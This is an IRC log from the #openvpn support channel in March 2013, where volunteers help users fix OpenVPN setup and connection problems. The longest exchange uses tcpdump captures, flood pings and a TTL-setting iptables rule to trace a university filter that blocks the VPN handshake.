17:09 -!- fatpony [~fatpony@88-190-211-231.rev.dedibox.fr] has quit [Changing host]
17:09 -!- fatpony [~fatpony@unaffiliated/fatpony] has joined #openvpn
17:11 -!- TMcTrain [~kvirc@p54BBB9D2.dip.t-dialin.net] has joined #openvpn
17:13 -!- Orbi [~opera@anon-148-191.vpn.ipredator.se] has quit [Ping timeout: 264 seconds]
17:17 -!- kubbing [~kubbing@89.177.146.18] has quit [Remote host closed the connection]
17:19 < TheWarden> I'm trying to run the following command openvpn –-genkey –-secret keys/ta.key but oddly I keep getting back "Options error: I'm trying to parse "–-genkey" as an --option parameter but I don't see a leading '--'"
17:23 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
17:25 < jzaw> TheWarden, ....  –-genke    its not --   its  –-   you have there
17:26 < jzaw> if you paste it in a word processor ..... and enlarge the font youll see the difference
17:26 < TheWarden> jzaw: that's how it appears when I paste it here. --genkey is what I typed
17:26 < rob0> ASCII hyphen hyphen
17:26 <@EugeneKay> TheWarden - openvpn --version?
17:26 < TheWarden> rob0: that's what I'm typing on the keyboard
17:27 < jzaw> try copy paste this ... --
17:27 < TheWarden> OpenVPN 2.3.0 x86_64-pc-linux-gnu
17:27 < TheWarden> --
17:27 <@EugeneKay> Interesting.
17:32 < TheWarden> it is, its odd...
17:34 -!- speed_racer8 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
17:38 -!- JSharpe [~JSharpe@46.165.210.17] has quit [Quit: Leaving]
17:49 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
17:51 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
18:05 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
18:12 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
18:14 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
18:15 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
18:23 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Operation timed out]
18:27 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
18:30 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
18:34 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 260 seconds]
18:36 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 272 seconds]
18:39 -!- cronix [~cronix@HSI-KBW-046-005-192-177.hsi8.kabel-badenwuerttemberg.de] has joined #openvpn
18:39 < cronix> hi all
18:40 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has left #openvpn []
18:40 < cronix> is it possible to have this kind of setup?
18:40 -!- vect0rx [vectorx@havok.org] has quit [Ping timeout: 264 seconds]
18:40 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
18:40 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has left #openvpn []
18:40 < cronix> client -> VPN -> Internet -> VPN -> Server -> Privoxy Proxy -> Internet
18:41 < cronix> and to configure the proxy for the vpn server part
18:41 < cronix> so that the client just has to connect to VPN?
18:48 < pekster> cronix: Yes it is. I have a similar setup on a cloud VM I run where it acts as an OpenVPN server and runs tinyproxy. By connecting to the VPN, I can use a separate browser profile I've configured to use that proxy at the other end of the VPN when I need an external IP to test from
18:48 < pekster> OpenVPN just establishes a link between 2 systems (your "client" and "server.") You're free to exchange any type of traffic you would like over this link
18:51 < cronix> but theres no way to not have to touch the client browser is it?
18:51 < cronix> the idea behind this is
18:51 < cronix> i live in germany and a lot of good stuff is blocked by gema etc
18:52 < cronix> therefore i have a premium proxy which redirects traffic to youtube for example via french servers
18:52 -!- mode/#openvpn [-q *!*@2-226-37-187.ip179.fastwebnet.it] by EugeneKay
18:52 < cronix> my idea was to setup a vpn which has all http traffic of every computer automatically proxyed to those servers on the serverside
18:53 < cronix> so i dont have to configure the laptops of my girlfriend and a lot of other systems
18:54 < cronix> even more important, to have the proxy enabled on my android devices while on the go aswell via vpn
18:54 < cronix> i think i have to do some nasty socks proxy routing on the dedicated server via iptables :C
18:55 < pekster> Maybe you want to look at:
18:55 < pekster> !redirect
18:55 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
18:55 <@vpnHelper> http://ircpimps.org/redirect.png
18:55 < cronix> that part works already
18:55 < cronix> i have my xoom tablet connected to my vpn server
18:55 < cronix> and can access the internet via the vpn
18:55 < cronix> with the ip of my dedicated
18:55 < pekster> Then why bother with a proxy? If you use redirect-gateway, *all* Internet-bound traffic flows through the VPN, not just web traffic
18:56 < cronix> because the server also is in germany
18:56 < cronix> the premium proxy is just a http proxy of a third party
18:58 < cronix> i guess i have to do something like this on the server
18:59 < cronix> openvpn -> iptables routing -> socks proxy -> privoxy -> premium http proxy
18:59 < cronix> this is gonna get nasty
18:59 < cronix> wrong chat then though :D
19:03 -!- ade_b [~Ade@koln-4d0b0fff.pool.mediaWays.net] has joined #openvpn
19:03 -!- ade_b [~Ade@koln-4d0b0fff.pool.mediaWays.net] has quit [Changing host]
19:03 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
19:06 -!- vistas [~vistas@c-71-204-33-119.hsd1.ga.comcast.net] has left #openvpn []
19:09 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 264 seconds]
19:15 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
19:15 -!- HyperGlide [~HyperGlid@221.237.121.63] has quit [Remote host closed the connection]
19:16 -!- novaflash is now known as novaflash_away
19:16 -!- HyperGlide [~HyperGlid@221.237.121.63] has joined #openvpn
19:20 -!- HyperGlide [~HyperGlid@221.237.121.63] has quit [Ping timeout: 258 seconds]
19:27 -!- twb [~twb@203.7.155.73] has joined #openvpn
19:28 < twb> Er, quick sanity check please.  I thought --tls-auth ta.key or so was always needed, and it was a pre-shared key used to HMAC packets once the TLS handshake had been done, or something like that.
19:29 < twb> But I see $coworker who has set up the server side of a VPN, has not mentioned tls-auth in his config at all (despite having a ta.key)
19:29 < twb> Is that 1) valid?; and 2) sensible?
19:30 < twb> Hm, manpage seems to indicate that you can use openvpn without --tls-auth, but it's a bad idea.
19:37 < pekster> twb: It's fine to run without that. It's just a way to drop packets before the peer allocates resources setting up a TLS handshake
19:39 -!- raidz is now known as raidz_away
19:40 < twb> Okey dokey
20:17 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
20:26 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
20:29 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
20:36 -!- vect0rx [vectorx@havok.org] has joined #openvpn
20:37 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
20:42 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
20:43 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Read error: Connection reset by peer]
20:43 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
20:49 -!- M1L0 [~M1L0@unaffiliated/m1l0] has joined #openvpn
20:50 < M1L0> buenas
20:51 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
20:51 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
20:52 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
20:55 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
20:56 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
20:57 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
20:59 -!- ddlk [~ddlk@183.246.96.216] has joined #openvpn
20:59 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
20:59 < ddlk> Hi, guys, anyway to bypass the China's firewall?
21:00 < ddlk> OpenVPN is already blocked, even on port 443 with TCP
21:01 < M1L0> blocked??? why?
21:02 < ddlk> China is building the word largest local network ~
21:02 < M1L0> ok
21:03 < ddlk> wondering if there is some vpn tech that cannot be detected
21:04 < ngharo> i've heard using static keys in openvpn makes traffic harder to identify
21:05 -!- ddlk [~ddlk@183.246.96.216] has quit []
21:05 -!- ddlk [~ddlk@183.246.96.216] has joined #openvpn
21:06 < ddlk> already tried that, no luck
21:07 < ngharo> !obfsproxy
21:07 <@vpnHelper> "obfsproxy" is (#1) For a writeup on using obfsproxy with OpenVPN see https://syria.hacktivist.me/?p=148 or (#2) See also !obfs. The link to TrafficObfuscation also contains a setup example
21:07 < ngharo> might try that too
21:08 < pekster> There's that, or using static key crypto
21:08 < pekster> !statickey
21:08 <@vpnHelper> "statickey" is (#1) you can use static keys by using --secret </path/to/key> or (#2) static keys only work for ptp links, not client/server. They also do not provide forward encryption. A forward-secure encryption scheme (such as openvpn uses with certs) protects secret keys from exposure by evolving the keys with time. or (#3) see !forwardsecurity for more info
21:10 < ddlk> thanks for the article, trying :D
21:12 < M1L0> question: VPN clients need to see a segment inside my LAN and internet can also leave the proxy, can someone guide me?
21:13 < pekster> What's your goal? I'm unclear from that what you want
21:13 < pekster> !goal
21:13 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
21:15 < M1L0> sorry my english is no good... :P
21:15 < M1L0> my external VPN clients do not see my LAN segment and have no internet...
21:15 < pekster> What do you want? You want clients to have access to the server-side LAN?
21:17 < M1L0> exactly
21:17 < pekster> !serverlan
21:17 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
21:17 < pekster> So that's a list of steps you need, and #3 in that output gives you a helpful flowchart to follow to expose a LAN on the server-side of OpenVPN
21:19 < M1L0> Ok, I'll see the diagram now, thanks!
21:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Quit: ZNC - http://znc.in]
22:01 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
22:07 -!- Devastator [~devas@186.214.110.30] has quit [Ping timeout: 256 seconds]
22:08 -!- Devastator [~devas@186.214.110.30] has joined #openvpn
22:11 -!- Devastator- [~devas@186.214.110.30] has joined #openvpn
22:12 -!- Devastator [~devas@186.214.110.30] has quit [Read error: Connection reset by peer]
22:13 -!- M1L0 [~M1L0@unaffiliated/m1l0] has left #openvpn ["Saliendo"]
22:14 -!- Devastator- [~devas@186.214.110.30] has quit [Changing host]
22:14 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
22:14 -!- Devastator- is now known as Devastator
22:23 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
22:27 -!- p3rror [~mezgani@41.249.96.133] has joined #openvpn
22:28 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
22:37 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
22:46 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
23:09 -!- corretico [~luis@190.211.93.38] has joined #openvpn
23:10 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
23:41 -!- ddlk [~ddlk@183.246.96.216] has quit []
23:45 -!- brute11k [~brute@89.249.235.131] has joined #openvpn
--- Day changed Wed Mar 13 2013
00:28 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
00:42 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
00:45 -!- p3rror [~mezgani@41.249.96.133] has quit [Ping timeout: 258 seconds]
00:58 -!- p3rror [~mezgani@ds-59836.dedicados.laniway.com.br] has joined #openvpn
01:13 -!- p3rror [~mezgani@ds-59836.dedicados.laniway.com.br] has quit [Ping timeout: 255 seconds]
01:13 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 264 seconds]
01:27 -!- mjixx [~markus@80.67.14.31] has quit [Ping timeout: 252 seconds]
01:27 -!- mjixx [~markus@80.67.14.31] has joined #openvpn
01:32 -!- p3rror [~mezgani@41.249.96.133] has joined #openvpn
01:40 -!- xbanux [~xbanux@115.254.75.113] has joined #openvpn
01:44 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
02:09 -!- xbanux [~xbanux@115.254.75.113] has quit [Read error: Connection reset by peer]
02:09 -!- xbanux [~xbanux@115.254.75.113] has joined #openvpn
02:22 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
02:28 < pekster> ecrist: More to come, but this is now usable and mostly (minus the pkcs11 support) anagalous to Easy-RSA 2.x support. https://github.com/QueuingKoala/easy-rsa
02:29 <@vpnHelper> Title: QueuingKoala/easy-rsa · GitHub (at github.com)
02:29 -!- xbanux [~xbanux@115.254.75.113] has quit [Ping timeout: 240 seconds]
02:29 -!- xbanux [~xbanux@115.254.75.113] has joined #openvpn
02:46 -!- twb [~twb@203.7.155.73] has quit [Ping timeout: 264 seconds]
02:48 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:53 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
03:01 -!- novaflash_away is now known as novaflash
03:05 -!- TMcTrain [~kvirc@p54BBB9D2.dip.t-dialin.net] has quit [Read error: Connection reset by peer]
03:05 -!- TMcTrain [~kvirc@p54BBB9D2.dip.t-dialin.net] has joined #openvpn
03:13 -!- TMcTrain [~kvirc@p54BBB9D2.dip.t-dialin.net] has quit [Ping timeout: 248 seconds]
03:22 -!- josheee12 [~jsteiner@131.91.7.1] has joined #openvpn
03:24 < josheee12> hey, guys.  out of nowhere, openvpn just quit on me.  the ports are fine on both ends (1 client, 1 server), i've tried tcp and udp, but i get stuck at the handshake.  the time is correct on both client and server, and both systems are running debian with openvpn 2.3.0.  configs and logs are here: http://pastebin.com/mqHmBcQG.
03:25 < josheee12> does anyone have any suggestions?
03:35 < pppingme> what port are you really using?  the server and client config have two different ports?
03:35 < Wulf> josheee12: tcpdump.
03:36 < josheee12> my apologies, that's something i fixed right before i posted.  i'll switch to tcpdump and try in a moment.
03:36 < pppingme> packets are obviously making it, don't think you're going to see too much with tcpdump quite yet..
03:37 < pppingme> why are you using 443?
03:37 < Wulf> pppingme: probably to avoid firewalls
03:37 < pppingme> assuming that, just want to know for sure
03:37 < Wulf> I also have my vpn running on 443
03:37 -!- TMcTrain [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has joined #openvpn
03:38 < josheee12> it's not to avoid firewalls typically, but i use different networks often and typically 443's open.
03:39 < josheee12> i sometimes use port 53 for the same reason.
03:40 < pppingme> what are all the extra W's in the logs?
03:40 < pppingme> is that just something you hosed when you captured the log, or are they really there?
03:40 < josheee12> iirc, that's from udp packets with verb 5.
03:46 < pppingme> you've tried ports other than 443, right?
03:46 < josheee12> yes, and both udp and tcp.
03:46 < pppingme> have you tried THIS client (is it a laptop or what) from a different internet connection?
03:47 < josheee12> yes.
03:47 -!- TMcTrain [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has quit [Quit: KVIrc 4.0.2 Insomnia http://www.kvirc.net/]
03:47 < josheee12> it's a laptop.
03:47 -!- TMcTrain [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has joined #openvpn
03:47 < pekster> josheee12: Lots of WWW's and no RR's means that you're not getting the return TLS handshake data from the server. Both sides get "Initial packet received", so see if the server really sends the UDP packets after the initial one? They're evidently not making it to the client
03:48 -!- brute11k [~brute@89.249.235.131] has quit [Ping timeout: 252 seconds]
03:49 < josheee12> pekster: i presume i should do so by changing to TCP and using tcpdump?
03:49 < pppingme> you're usually best to use UDP
03:49 < pekster> huh? no
03:50 < pppingme> unless there's a good reason to use tcp
03:50 < josheee12> wait, does tcpdump work with udp?
03:50 < pppingme> yes
03:50 < pekster> tcpdump -pni eth0 udp port 443
03:50 < pekster> man tcpdump
03:50 < josheee12> oh, sorry.
03:50 < pppingme> the name is misleading..
03:50 < josheee12> that it is.
03:51 -!- brute11k [~brute@89.249.235.131] has joined #openvpn
03:52 < josheee12> the client is doing a number of writes, but the server doesn't seem to get them.
03:53 < pppingme> can you ping the server cleanly from the client?  You aren't seeing a ton of packet loss or anything are you?
03:54 < josheee12> tcpdump: http://pastebin.com/KSsX1A1t
03:54 < josheee12> ifconfig reports none dropped on either end.
03:55 < josheee12> pings work fine.
03:56 < pppingme> this has worked before, or is this a new setup?
03:56 < josheee12> it's worked for months.
03:59 < pppingme> are there other clients that use this same server?  are they working or broke?
03:59 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
04:00 < josheee12> this is the only client as of right now.  i can install openvpn on a virtual machine as a test if need be, although i'd generally like to avoid it.
04:00 < pppingme> when is the last time it worked?
04:01 < josheee12> last time i tried to go online with this computer was roughly 4 days ago.
04:01 < pppingme> tried?  so it worked?
04:01 < josheee12> yes.
04:02 < pppingme> ok, the ever important question, what has changed since last time it worked?
04:02 < josheee12> literally nothing except daylight savings time.  after it stopped working, i upgraded both the client and server to the latest release.
04:03 < pppingme> so you updated after it broke in an attempt to fix it?  or you updated then it broke?
04:03 < josheee12> i updated in an attempt to fix.
04:03 <@EugeneKay> "nothing changed except everything"
04:05 < pekster> Why would ifconfig report dropped packets which it never received?
04:05 < pekster> You need to dump BOTH ends. Then you compare then packets sent on the server that obviously aren't getting to your client
04:05 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
04:05 < josheee12> alright.
04:05 < pppingme> as a general rule, after something breaks is the WORST time to start doing upgrades
04:06 < pppingme> but yeah, start by doing tcpdumps on both and compare, see if packets are getting lost
04:06 < josheee12> will do
04:06 < pekster> Honestly, we prefer people here use the latest version
04:07 < josheee12> i'm changing to port 5555, only because i've got a lot of stuff up on this computer and i'd expect unrelated traffic on 443 as a result.
04:08 < pppingme> generally agree that current versions are good, but if you do an upgrade when you're broke, you don't know if the upgrade is further complicating whatever is broke...  the only exception is if you know for sure that there is a fix for your specific problem in the upgrade.
04:08 < pekster> josheee12: What on earth are you running on UDP port 443
04:09 < pekster> It's not going to match web traffic. That uses TCP...
04:09 < josheee12> very true, i feel like a moron at the moment.
04:09 < pekster> No clue what else you're expecting to use UDP 443.
04:11 < josheee12> there's clearly packet loss, a number are being sent client-side and never get received.
04:12 < pppingme> from the client, "ping -c 240 -f serverip"
04:13 < pppingme> and paste the two stat lines
04:13 < pekster> Judging by The W's and no R's on the client, same is true in reverse (looks like the server isn't verb 5 in the logs from earlier.) If your network connection is bad enough that it can't negotiate a TLS handshake in the 60 second window, you need to fix that first
04:15 < josheee12> pppingme: "ping: cannot flood; minimal interval, allowed for user, is 200ms"
04:15 < pppingme> do it as root
04:15 < pppingme> or sudo
04:16 < josheee12> pekster: i'm currently on a 10gbps fibre line, i doubt it's an issue with the network itself.
04:16 < pekster> And these 2 systems are direcly connected via a fiber network to each other?
04:16 < josheee12> pekster: no
04:16 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 250 seconds]
04:16 < pekster> If they're not, you have a slew of routers between each system that could all be causing problems. Active filtering, misconfigured routers, MTU issues, transparent proxying
04:16 < pekster> List goes on
04:17 < pppingme> ping results?
04:17 < josheee12> pppingme: can i paste those 2 lines directly here?
04:17 -!- xbanux [~xbanux@115.254.75.113] has quit [Ping timeout: 264 seconds]
04:17 < pppingme> yeah, its jsut two lines
04:17 < josheee12> 240 packets transmitted, 240 received, 0% packet loss, time 3194ms
04:17 < josheee12> rtt min/avg/max/mdev = 29.134/29.911/49.147/1.823 ms, pipe 4, ipg/ewma 13.364/29.502 ms
04:18 < pppingme> hmm, thats clean'ish, try a larger count, 2500
04:19 < josheee12> pekster: the traceroute only has 10 hops.  most of them are level 3 (all but 3), so i'd be surprised if it was the network of the server or client.
04:19 < pekster> What's that going to accomplish? TLS handshakes send on the order of a dozen packets, not 2500
04:19 < pppingme> luck, timing, just trying to show any packet loss at all..
04:19 < pppingme> if we don't get any with the larger sample, its probably some kind of filtering or flood control
04:19 < pekster> ...
04:20 < josheee12> there was still 0% loss.
04:20 < pppingme> what was the avg and max time on that one?
04:21 < pekster> josheee12: Can you cloudshark the results from 'tcpdump -pni eth0 udp port 443' from both client & server ends starting from when you attempt to connect with the client?
04:21 < josheee12> 29.6/32.5.
04:21 < pekster> It's curious that you get 'initial packet received' messages on both ends but no return packets that verb 5 catches on your client
04:21 < pppingme> super reasonable, doesn't look like typical packet loss, did you chagne any iptable rules on either end?
04:22 -!- zz_AsadH is now known as AsadH
04:23 < pekster> I'd like to see what the received sent/received looks like on both ends. It's possible you have a PMTU problem on the link between the hosts. Ultimately if you have dropped/filtered/otherwise-undeliverable packets on your control channel, that needs to get fixed
04:24 < josheee12> no.  only rules on the client are to make a few IP ranges use eth0 , and only rules on the server are postrouting for openvpn.  pekster, how do you suggest i do that?
04:25 < pekster> tcpdump -pni eth0 -w capture.pcap udp port 443
04:25 < josheee12> pekster: just tcpdump and pipe to files?
04:25 < pekster> capture, send to www.cloudshark.org
04:25 < josheee12> k
04:26 < pekster> Be sure to start it on both ends before you connect the client; I want to see that initial packet they both send, and then see what else doesn't make the connection
04:27 < josheee12> alright.  give me a moment for everything to time out.
04:27 < pekster> If you bounce both ends services it'll do so without needing 60 seconds for it to fail
04:28 < pekster> Disconnecting the client is instant; the client won't try any more if it's not running ;)
04:31 < josheee12> client: http://www.cloudshark.org/captures/03af6807d7d7
04:31 <@vpnHelper> Title: CloudShark (at www.cloudshark.org)
04:31 < josheee12> server: http://www.cloudshark.org/captures/40d461d0e1ad
04:31 <@vpnHelper> Title: CloudShark (at www.cloudshark.org)
04:32 -!- ngharo_ [~ngharo@hacked.thegov.us] has joined #openvpn
04:32 -!- Varazir_ [~mircwars@c-94-255-130-176.cust.bredband2.com] has joined #openvpn
04:34 -!- AsadH is now known as AsadH_runsaway
04:35 < pekster> Yea, weird, the server just "never gets" anything after the first 3 packets are exchanged
04:35 -!- AsadH_runsaway is now known as AsadH
04:35 < pekster> Almost looks to me like some IDS or DPI system is eating them
04:36 -!- Netsplit *.net <-> *.split quits: ngharo, paccer, pa, Varazir
04:36 < pekster> The lost packets are low enough it wouldn't be MTU issues either
04:39 < josheee12> i reside at my uni, so the traffic goes laptop->personal router->building router->school main router->FLR (our isp)->level 3->tinet->2 internal switches->openvz host node->server VPS.
04:39 < pekster> I don't know what traceroute tool you have, but can you try watching tcpdmp on the server (interactive is fine, no need to cloudshark this) and see if you get a hit when you do this on the client: traceroute -F -p 5555 -q 3
04:39 < pekster> Ah, then you very likely have DPI/IDS done to stop you
04:40 < pekster> You can try to trace things, but my guess is that they've blocked OpenVPN for a reason, or possibly a variety of traffic that openvpn falls into a rule for
04:40 < josheee12> why would this suddenly stop working?  they haven't changed any hardware (all network upgrades are announced) in my building or centrally.
04:40 < pekster> Someone changed something somewhere?
04:40  * pekster shrugs
04:41 < pekster> Your issue is obvious: packets don't arrive where they're supposed to. In fact, by varying the TTL of the outgoing packets, you can probably see exactly where they get dropped
04:41 < josheee12> i just texted my friend who also uses openvpn here to see if he's had issues.
04:42 < pekster> Something like this is very bad to set in production, but for testing, will match those UDP packets that are 151 bytes long, but not the first 3 that are smaller:
04:43 < pekster> iptables -t mangle -A POSTROUTING -m udp -p udp --dport 5555 -m length --length 100: -j TTL --ttl-set 4
04:43 < pekster> Play around with the TTL to see what 2 adjacent values do produce and then don't produce an ICMP error for TTL expired
04:44 < pekster> That's your "naughty" host doing the filtering
04:44 < josheee12> alright
04:44 < pekster> Oh, and edit the rule, not just keep adding new ones :P
04:44 < pekster> But, your issue isn't openvpn anymore; it's some packet filtering system
04:44 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
04:44 < josheee12> according to my friend who uses openvpn here, it's not an issue for him.
04:45 < josheee12> i may disconnect for a second, i didn't think to try wifi as an alternative.
04:46 -!- josheee121 [~jsteiner@131.91.4.12] has joined #openvpn
04:47 -!- josheee12 [~jsteiner@131.91.7.1] has quit [Quit: Leaving.]
04:49 -!- josheee12 [~jsteiner@131.91.7.1] has joined #openvpn
04:51 -!- josheee121 [~jsteiner@131.91.4.12] has quit [Ping timeout: 258 seconds]
04:55 < josheee12> it's definitely an issue with my network, i can't connect to my friend's server, either.  which is surprising, because he was using the wireless and it worked earlier today.  sorry for all the hassle.
04:56 < pekster> Bonus points if you can find the responsible router IP and give it to your netadmins. Or publish it in a school paper; maybe then the guys at netops will think twice before rolling out packet filtering without notice ;)
04:58 < josheee12> lol.  it can literally only be 1 of 2 routers.  i personally know a decent portion of the netadmins, so i'll be stopping by the IT office tomorrow to inquire further.
05:03 -!- brute11k [~brute@89.249.235.131] has quit [Ping timeout: 246 seconds]
05:06 -!- brute11k [~brute@89.249.235.131] has joined #openvpn
05:06 -!- kubbing [~kubbing@89.177.146.18] has quit [Remote host closed the connection]
05:06 < josheee12> the funniest part, in my opinion, is that the school itself uses openvpn.
05:07 < josheee12> (for certain remote access things for employees; i also work for the school and have to use openvpn for certain work)
05:21 -!- JSharpe [~JSharpe@46.165.208.207] has joined #openvpn
05:32 -!- dazo_afk is now known as dazo
05:36 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
05:46 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:00 -!- kubbing [~kubbing@89.177.146.18] has quit [Remote host closed the connection]
06:08 -!- mndo [~mndo@bl17-85-80.dsl.telepac.pt] has joined #openvpn
06:11 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
06:16 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
06:31 -!- josheee12 [~jsteiner@131.91.7.1] has left #openvpn ["PING 1363174178"]
06:37 -!- paccer [uid4847@gateway/web/irccloud.com/x-yfkfkdnmzaewasrg] has joined #openvpn
06:42 -!- mustu [~maan@unaffiliated/mustu] has quit [Ping timeout: 256 seconds]
07:11 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Read error: Connection reset by peer]
07:16 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
07:18 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 240 seconds]
07:20 -!- mustu [~maan@182.185.186.30] has joined #openvpn
07:20 -!- mustu is now known as Guest40046
07:26 -!- Varazir_ is now known as Varazir
07:46 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 240 seconds]
07:49 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
08:14 -!- Holiday [~rjr162@magichat.dlt.psu.edu] has quit [Read error: Connection reset by peer]
08:21 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
08:25 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
08:27 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
08:30 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 258 seconds]
08:32 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Changing host]
08:32 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
08:41 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
08:45 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
08:48 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
08:48 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
09:03 -!- xbanux [~xbanux@115.254.75.113] has joined #openvpn
09:10 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:10 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
09:28 -!- marksaitis [~marksaiti@194.168.230.106] has joined #openvpn
09:31 -!- Guest40046 [~maan@182.185.186.30] has quit [Ping timeout: 264 seconds]
09:40 -!- fahmad [~linux@unaffiliated/fahmad] has joined #openvpn
09:44 -!- mustu [~maan@119.63.130.93] has joined #openvpn
09:44 -!- mustu is now known as Guest21539
09:52 < tabakhase> arg?
09:52 < tabakhase> is than channel on a mode to "not be joinable by web clients"?
09:53 < tabakhase> nerv... how ever, so im back on my desk for present8ing you that fancy logfile of a linux client that "stoped working" after it where working yesterday - http://nopaste.info/f3e4079ebb.html
09:54 < tabakhase> it goes ok - ok -ok - dead.
10:09 -!- erry [erry@freenode/staff/erry] has quit [Ping timeout: 608 seconds]
